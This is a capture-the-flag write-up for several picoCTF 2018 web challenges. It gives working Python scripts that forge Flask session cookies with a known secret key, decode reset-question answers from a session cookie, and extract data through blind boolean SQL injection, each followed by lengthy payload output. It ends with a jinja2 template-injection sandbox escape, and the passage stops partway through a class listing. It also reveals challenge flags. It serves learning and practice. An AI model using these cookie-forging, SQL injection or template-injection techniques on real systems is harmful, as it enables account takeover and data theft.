Looking at the Flask source, we see a interesting class called SecureCookieSessionInterface which inherits SessionInterface and uses URLSafeTimedSerializer from itsdangerous. This class has 3 functions get_signing_serializer, open_session and save_session. The open_session and save_session doesn’t interest us because it’s not really related to the main signing stuff. Function get_signing_serializer seems to check for a secret_key and if there was one, it returns URLSafeTimedSerializer(secret_key, salt, serializer, signer_kwargs). This means it takes in the secret key, salt and other parameters and spits out an object, which we can use to load and dump the signed data. Now let’s write some code to do the same.

First let’s import the things we need

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import sys # for commandline arguments

Next let’s create a class and inhert SecureCookieSessionInterface since it has everything we need.

class CookieSessionInterface(SecureCookieSessionInterface):
  def __init__(self, secret_key):
    self.secret_key = secret_key
    if not secret_key:
      return None
    signer_kwargs = dict(
      key_derivation=self.key_derivation,
      digest_method=self.digest_method
    )
    self.sign_serializer = URLSafeTimedSerializer(secret_key, salt=self.salt,
                                  serializer=self.serializer,
                                  signer_kwargs=signer_kwargs)

This code is exactly the same as the original, I’ve just changed the code a little bit, so that when we create a object from this class, we get a sign serializer, so from then we can use the secret and the serializer to encode and decode the data. Next let’s create encoder and decoder functions.

  def decode(self, cookie):
    return self.sign_serializer.loads(cookie)

  def encode(self, cookie):
    return self.sign_serializer.dumps(cookie)

They are pretty simple, they just use the serializer with loads to decode and dumps to encode the cookie values. Now to finish things, we add some print statements and call the appropriate functions.

if __name__=='__main__':
    secret = '73e1f2c96e364f0cc3371c31927ed156' # from challenge description
    cookie = sys.argv[1] # get our cookie through commandline arguments

    csi = CookieSessionInterface(secret)

    decoded_cookie = csi.decode(cookie) # decode the cookie
    print "* ORIGINAL COOKIE:", decoded_cookie

    decoded_cookie['user_id'] = u"1" # modify the user_id to 1
    print "* MODIFIED COOKIE", decoded_cookie

    new_cookie = csi.encode(decoded_cookie) # encode it back
    print "+ MODIFIED SECRET ENCODED COOKIE:", new_cookie

Final code

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import sys

class CookieSessionInterface(SecureCookieSessionInterface):
  def __init__(self, secret_key):
    self.secret_key = secret_key
    if not secret_key:
      return None
    signer_kwargs = dict(
      key_derivation=self.key_derivation,
      digest_method=self.digest_method
    )
    self.sign_serializer = URLSafeTimedSerializer(secret_key, salt=self.salt,
                                  serializer=self.serializer,
                                  signer_kwargs=signer_kwargs)

  def decode(self, cookie):
    return self.sign_serializer.loads(cookie)

  def encode(self, cookie):
    return self.sign_serializer.dumps(cookie)

if __name__=='__main__':
    secret = '73e1f2c96e364f0cc3371c31927ed156'
    cookie = sys.argv[1]

    csi = CookieSessionInterface(secret)

    decoded_cookie = csi.decode(cookie)
    print "* ORIGINAL COOKIE:", decoded_cookie

    decoded_cookie['user_id'] = u"1"
    print "* MODIFIED COOKIE", decoded_cookie

    new_cookie = csi.encode(decoded_cookie)
    print "+ MODIFIED SECRET ENCODED COOKIE:", new_cookie

now let’s test it!

root@kali:~/Documents/pico-ctf-2018/flask2# python manageFlaskSession.py .eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_ickPL7BltTQBw.Dqh92g.6_c7VbTZRZ3pMq5C43ZlPLK5hoI
* ORIGINAL COOKIE: {u'csrf_token': u'407f3a816d5e00f199bef61126c323f1ae02bee2', u'_fresh': True, u'user_id': u'6', u'_id': u'ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06'}
* MODIFIED COOKIE {u'csrf_token': u'407f3a816d5e00f199bef61126c323f1ae02bee2', u'_fresh': True, u'user_id': u'1', u'_id': u'ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06'}
+ MODIFIED SECRET ENCODED COOKIE: .eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_icwPL7BltEQBc.DqiH9w._3t3T0bfGOtQavJNeDs-smtOQFU

The MODIFIED SECRET ENCODED COOKIE is our modified cookie, now let’s test it by replacing the cookie in the browser.

Request

GET /admin HTTP/1.1
Host: 2018shell1.picoctf.com:12261
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://2018shell1.picoctf.com:12261/index
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185; cookie=qVlMUD588b0qtj9q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=; session=.eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_icwPL7BltEQBc.DqiH9w._3t3T0bfGOtQavJNeDs-smtOQFU
Connection: close

Here session in Cookie header is the modified cookie, which has user_id set to 1

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4059
Vary: Cookie

...
<p> Your flag is: picoCTF{1_id_to_rule_them_all_8470d1c9} </p>
...

There we go, our flag is picoCTF{1_id_to_rule_them_all_8470d1c9}.

Help Me Reset 2

Challenge description

There is a website running at http://2018shell1.picoctf.com:7977. We need to get into any user for a flag!

Points: 600

Dir busting on the site gives us a endpoint /profile, this path seems to have access control issues, which gave us the flag directly just by visiting. This wasn’t fun, let’s see if there was any other way to solve this challenge.

I looked into the html source, where I found this

<!-- Proudly maintained by pennington -->

pennington looks like a username, so I went to forgot password and entered this username. This request gave me a interesting cookie. This was a session cookie, This web app seems to give us a session cookie if the username was valid, strange. After this request I got some security questions to answer. If we answer all of them, we might login and get the flag. There was a session cookie that was sent to us if the username was valid, let’s decode that.

As you know from the above challenge, Flask uses itsdangerous to handle the signing and stuff. Let’s see dive into the source. At line 893, we have a class called URLSafeSerializerMixin, this class has a function called load_payload, which is basically decoding the payload from the session cookie. The decoding happens like this

def load_payload(self, payload, *args, **kwargs):
  decompress = False
  if payload.startswith(b"."):
      payload = payload[1:]
      decompress = True
  try:
      json = base64_decode(payload)
  except Exception as e:
      raise BadPayload(
          "Could not base64 decode the payload because of " "an exception",
          original_error=e,
      )
  if decompress:
      try:
          json = zlib.decompress(json)
      except Exception as e:
          raise BadPayload(
              "Could not zlib decompress the payload before "
              "decoding the payload",
              original_error=e,
          )
  return super(URLSafeSerializerMixin, self).load_payload(json, *args, **kwargs)

As we can see the payload is first base64 decoded and then decompressed using zlib. Let’s write the code which does the same

import base64, zlib

session_cookie = '.eJw9jc0KwjAQhF9F9pxDkfpDX0WLbNM1iaa7ZZMgUvruJhdPMwzfzGxgiypxhoFLjAZWSSlMkWC4gZUoCgY8qVR5isxVLOqCb4LRgAbn88NKaf3OQEmkjxkzwrDBIbeNlZgDuyxcq6dz13fdtT9ewFRcFNlRzSfMCzbAfwvPGJrDZSrqqP2_xHMSvjOMu4GPCrv_6f4DZ4A_8w.DqiZ3g.WKj7WQ_wZdzKgy8-UZrhoN8qkeY'
data = session_cookie.split('.')[1]   # extract the payload
data += b'=' * ((4 - len(data) % 4))  # missing padding fix
data = base64.urlsafe_b64decode(data) # base64 decode
data = zlib.decompress(data)          # zlib decompress
print data

Here session_cookie is the session cookie we got after we submitted a valid username in forgot password page.

root@kali:~/Documents/pico-ctf-2018/helpmereset2# python decode_flask_session.py 
{"current":null,"possible":["color","hero","food","carmake"],"right_count":0,"user_data":{" t":["pennington","5604008427",0,"orange","batman","hyundai","hamburger","johnson\n"]},"wrong_count":0}

Nice, we get all the answers to the questions, submitting all the right answers will give us the option to reset the password and after logging in, we get the flag picoCTF{i_thought_i_could_remember_those_34745314}. The flag is available at http://2018shell1.picoctf.com:7977/profile, which we’ve seen, has access control issues, just by visiting this gives use the flag too, no credentials needed.

A Simple Question

Challenge description

There is a website running at http://2018shell1.picoctf.com:32635. Try to see if you can answer its question.

Points: 870

Visiting the link provided in the description gives us a page which has one input field and the label says “What is the answer?”, so I’m guessing we need to submit the correct answer or bypass this check to get the flag. I tried for SQL injection with a single quote, and it did error out.

SQL query: SELECT * FROM answers WHERE answer='''

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php on line 15

Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php on line 17

Okay this is a SQL injection and it’s SQLite3. But why 870 points? because it’s blind SQLi. If you use a simple payload like ' or 2=2 -- , you’ll get a message

SQL query: SELECT * FROM answers WHERE answer='' or 2=2 -- '
You are so close.

And for ' or 2=3 -- , we get

SQL query: SELECT * FROM answers WHERE answer='' or 2=3 -- '
Wrong.

So this is a blind boolean SQL injection.

I know there’s a debug hidden parameter in the html form, setting it to 1 will give me how the query looks like, and this query would have the table and the column name, but I didn’t wanted to use this debug feature so that I could make this challenge a bit harder.

First let’s try to extract the table name from the database blindly. Since we know that if our query was successful we get “You are soo close.” and if it failed we’d get “wrong”, we can use this to do a blind boolean SQL injection. For this I’ll be using python and a very popular module called requests to make http requests.

To extract the table name we can use union all select on sqlite_master and get the table names. We will use bruteforcing of characters with the LIKE clause to get the table name. The query looks something like this.

whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'a%' COLLATE NOCASE -- 

Here, we do the bruteforcing like ‘a%’, ‘b%’, ‘c%’ and so on. ‘%’ is used for wildcard matching. To automate this I wrote a quick python script.

Enumerate tables

import requests
import string

url = "http://2018shell1.picoctf.com:32635/answer2.php"

lc = string.ascii_lowercase
uc = string.ascii_uppercase
nm = string.digits
sy = ".-_"
all = lc + uc + nm + sy # 'all' has [A-Z, a-z, 0-9, '.', '-'. '_']

table_name = ""
got_it = True

print "[URL]", url

# bruteforce over all characters
while got_it:
    for i in all:
        got_it = False
        payload = "whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like '%s%s%%' COLLATE NOCASE -- "%(table_name, i)
        print "(*)", payload
        data = {"answer": payload, "debug": "1"}
        response = requests.post(url, data=data)
        if "You are so close" in response.text:
            table_name += i
            print "(+)", "=" * 15, i, "=" * 15
            got_it = True
            break

if table_name:
    print "(+)", "+" * 15, table_name, "+" * 15

Output

root@kali:~/Documents/pico-ctf-2018/simple-question# python table.py 
[URL] http://2018shell1.picoctf.com:32635/answer2.php
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'a%' COLLATE NOCASE -- 
(+) =============== a ===============
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'aa%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ab%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ac%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ad%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ae%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'af%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ag%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ah%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ai%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'aj%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ak%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'al%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'am%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'an%' COLLATE NOCASE -- 
(+) =============== n ===============
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ana%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'anb%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'anc%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'and%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'ane%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'anf%' COLLATE NOCASE -- 
.....
TRUNCATED
.....
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers6%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers7%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers8%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers9%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers.%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers-%' COLLATE NOCASE -- 
(*) whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'answers_%' COLLATE NOCASE -- 
(+) +++++++++++++++ answers +++++++++++++++

There we go, answers is our table name. Now let’s find the column name.

The code to enumerate column name is similar, more details on sqlite injection exploitdb whitepapers. I wrote a similar script and changed the query. The expoitdb whitepaper on SQLite covers how to enumerate the column names, but the query is a bit complex, but has the same idea.

From this I got to know that the column name was answer. Sweet, now we can do some table data dumping to get the answer. Again the code is redundant, but I’ll show this one because this is the last part of the process.

import requests
import string

url = "http://2018shell1.picoctf.com:32635/answer2.php"

lc = string.ascii_lowercase
uc = string.ascii_uppercase
nm = string.digits
sy = ".-_"
all = uc + lc + nm + sy

all = [chr(i) for i in range(0x20, 0x7e + 1)]
all.remove('%')

secret = ""
got_it = True

while got_it:
    for i in all:
        got_it = False
        payload = "whatever' or (select hex(substr(answer,%s,1)) from answers limit 1 offset 0) = hex('%s') -- "%(str(len(secret)+1), i)
        print "(*)", payload
        data = {"answer": payload, "debug": "1"}
        response = requests.post(url, data=data)
        if "You are so close" in response.text:
            secret += i
            print "(+)", "=" * 15, i, "=" * 15
            got_it = True
            break

if secret:
    print "(+)", "+" * 15, secret, "+" * 15

The code is almost the same except the payload. Here the query checks for ascii values instead of using a LIKE clause, because LIKE is case insensitive, to enable case sentiveness I had to do it in some different way which I had problems with. So I simply checked for ascii values and had the answer dumped out in the end.

root@kali:~/Documents/pico-ctf-2018/simple-question# python act.py 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(' ') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('!') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('"') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('#') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('$') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('&') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(''') -- 
(*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('(') -- 
...
TRUNCATED
...
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('u') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('v') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('w') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('x') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('y') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('z') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('{') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('|') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('}') -- 
(*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('~') -- 
(+) +++++++++++++++ 41AndSixSixths +++++++++++++++

There we have it, the answer is 41AndSixSixths. Submitting the answer we get out flag picoCTF{qu3stions_ar3_h4rd_8f84b784}

Flaskcards and Freedom

Challenge description

There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell1.picoctf.com:56944

Points: 900

This challenge is similar to Flaskcards which was a basic Server Side Template Injection(SSTI). In this challenge, we need to escalate the attack to gain Remote Code Execution(RCE) and then read the flag from a file. The basic overview of this challenge looks like this

[Server Side Template Injection] => [Bypass Python Sandbox] => [Gain RCE]

Let’s confirm this is infact jinja2 SSTI

{{ 7 * '7' }}

and the response had

Question:7777777
Answer:7777777

Alrighty onto bypassing the python sandbox. Since we are in a locked down environment(not really XD) we need to somehow get the code execution. Before jumping into anything else let’s see what all do we have access to. We have access to basic types and some in-use variables. In python everything is an object, this means your lists, string and others are all objects. Now the idea to get code execution is simple, we want to find a class that uses either subprocess or os module, with these modules we can execute shell commands easily. Now let’s get the handle to a specific class, I’m going to use lists, you can use strings or whatever. To get the handle to a class from an object we can use one of the special methods __class__. We’ll try this locally and then send it to the flask web app.

There are other simpler ways to solving this challenge which I’ll discuss in the end, but I’m showing you the way I initially solved it which doesn’t depends on flask related things.

>>> [].__class__
<type 'list'>

Now let’s see what are it’s subclasses

>>> [].__class__.__subclasses__()
[]

Hmm, nothing, now let’s look into MRO.

MRO stands for Method Resolution Order, this is basically a class search path used by python to search for the right method to use in classes having multi-level inheritance.

>>> [].__class__.__mro__
(<type 'list'>, <type 'object'>)

When we tried to list subclasses using __subclasses__(), we got nothing because the ‘list’ class, didn’t have anything inherited, but when we tried to view the MRO, we see that there’s a generic object which is also the base class of all objects in python. This basically means if we search subclasses in that object, we’ll find all methods currently available to us. Let’s try looking into it.

>>> [].__class__.__mro__[1].__subclasses__() # same as [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

Alright, we have some stuff, but remember this is our local machine, we need to run this on the web server and get the subclasses list. Let’s do that

{{ [].__class__.__mro__[1].__subclasses__() }}
Question:[<class 'itertools.compress'>, <class 'formatteriterator'>, <class 'apt_pkg.ActionGroup'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'jinja2.utils.LRUCache'>, <class 'operator.methodcaller'>, <class 'code'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'str'>, <enum 'Enum'>, <class 'apt_pkg.HashString'>, <class 'collections._Link'>, <class 'plistlib._DumbXMLWriter'>, <class 'six.temporary_class'>, <class 'decimal.SignalDictMixin'>, <class 'type'>, <class 'ipaddress._IPv6Constants'>, <class 'pickle._Framer'>, <class 'xml.dom.xmlbuilder.Options'>, <class 'contextlib.ExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'wtforms.fields.core.Flags'>, <class 'apt_pkg.PackageFile'>, <class 'stderrprinter'>, <class 'types.SimpleNamespace'>, <class 'apt_pkg.Configuration'>, <class 'method'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'wtforms.widgets.core.Option'>, <class 'sqlite3.Cache'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlite3.Cursor'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'pkg_resources.NullProvider'>, <class 'codecs.StreamReaderWriter'>, <class 'managedbuffer'>, <class 'NoneType'>, <class 'flask_bootstrap.Bootstrap'>, <class 'jinja2.utils.Namespace'>, <class '_frozen_importlib._ImportLockContext'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class '_frozen_importlib._installed_safely'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class '_bz2.BZ2Decompressor'>, <class 'odict_iterator'>, <class 'xml.dom.minidom.NamedNodeMap'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'apt.progress.base.OpProgress'>, <class 'functools.partialmethod'>, <class 'inspect.BlockFinder'>, <class 'dict_keys'>, <class 'uwsgi._Input'>, <class 'uwsgi.SymbolsZipImporter'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'pickle._Unpickler'>, <class 'jinja2.runtime.Undefined'>, <class 'apt_pkg.ProblemResolver'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class '_hashlib.HASH'>, <class 'numbers.Number'>, <class 'jinja2.nodes.Node'>, <class '_ctypes.CField'>, <class 'weakref.finalize'>, <class 'inspect._void'>, <class 'urllib.request.OpenerDirector'>, <class '_frozen_importlib.FrozenImporter'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'datetime.timedelta'>, <class 'cell'>, <class 'plistlib._BinaryPlistParser'>, <class 'xml.dom.xmlbuilder.DocumentLS'>, <class 'pkg_resources.IMetadataProvider'>, <class 'dis.Bytecode'>, <class 'uwsgi.SymbolsImporter'>, <class 'CArgObject'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class '_sre.SRE_Scanner'>, <class 'inspect.BoundArguments'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'apt_pkg.Version'>, <class 'tempfile.TemporaryDirectory'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'wtforms.validators.IPAddress'>, <class 'apt_pkg.AcquireItem'>, <class 'collections.abc.Sized'>, <class 'getset_descriptor'>, <class 'member_descriptor'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class '_json.Encoder'>, <class 'warnings.WarningMessage'>, <class 'range'>, <class 'wtforms.widgets.core.TextArea'>, <class 'click.formatting.HelpFormatter'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'apt.cache.Filter'>, <class '_pickle.PicklerMemoProxy'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'xml.dom.xmlbuilder.DOMBuilder'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'reprlib.Repr'>, <class 'jinja2.ext._CommentFinder'>, <class 'zipfile.LZMADecompressor'>, <class 'difflib.HtmlDiff'>, <class '_ast.AST'>, <class '_lzma.LZMACompressor'>, <class 'zlib.Compress'>, <class '_weakrefset._IterationGuard'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'concurrent.futures._base.Executor'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'jinja2.environment.Environment'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'iterator'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'werkzeug.urls.Href'>, <class 'gzip._PaddedFile'>, <class 'apt_pkg.DepCache'>, <class 'apscheduler.util._Undefined'>, <class 'collections.abc.Callable'>, <class 'itertools.combinations_with_replacement'>, <class 'xml.dom.xmlbuilder.DOMImplementationLS'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'apt.cache.FilteredCache'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'xml.dom.xmlbuilder.DOMEntityResolver'>, <class 'unicodedata.UCD'>, <class 'click.parser.ParsingState'>, <class 'jinja2.bccache.Bucket'>, <class 'plistlib.Data'>, <class '__future__._Feature'>, <class '_frozen_importlib.ModuleSpec'>, <class 'ellipsis'>, <class 'apt_pkg.Acquire'>, <class 'email.header.Header'>, <class 'flask_bootstrap.ConditionalCDN'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'difflib.Differ'>, <class 'codecs.IncrementalDecoder'>, <class 'logging.Formatter'>, <class 'wtforms.validators.NumberRange'>, <class 'multiprocessing.context.BaseContext'>, <class 'itertools.cycle'>, <class 'calendar.different_locale'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'xml.dom.UserDataHandler'>, <class 'traceback.TracebackException'>, <class 'bytearray_iterator'>, <class 'apt_pkg.Description'>, <class 'click.parser.Argument'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'flask.cli.ScriptInfo'>, <class 'flask_login.login_manager.LoginManager'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class '_frozen_importlib._DummyModuleLock'>, <class 'zlib.Decompress'>, <class 'apt_pkg.IndexFile'>, <class 'module'>, <class 'property'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class '_thread._localdummy'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'wtforms.csrf.core.CSRF'>, <class 'selectors.BaseSelector'>, <class 'BaseException'>, <class 'pprint._safe_key'>, <class 'apt.cache.ProblemResolver'>, <class 'flask.sessions.SessionInterface'>, <class 'apt.progress.base.CdromProgress'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class '_json.Scanner'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'sqlalchemy.engine.interfaces.Connectable'>, <class 'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 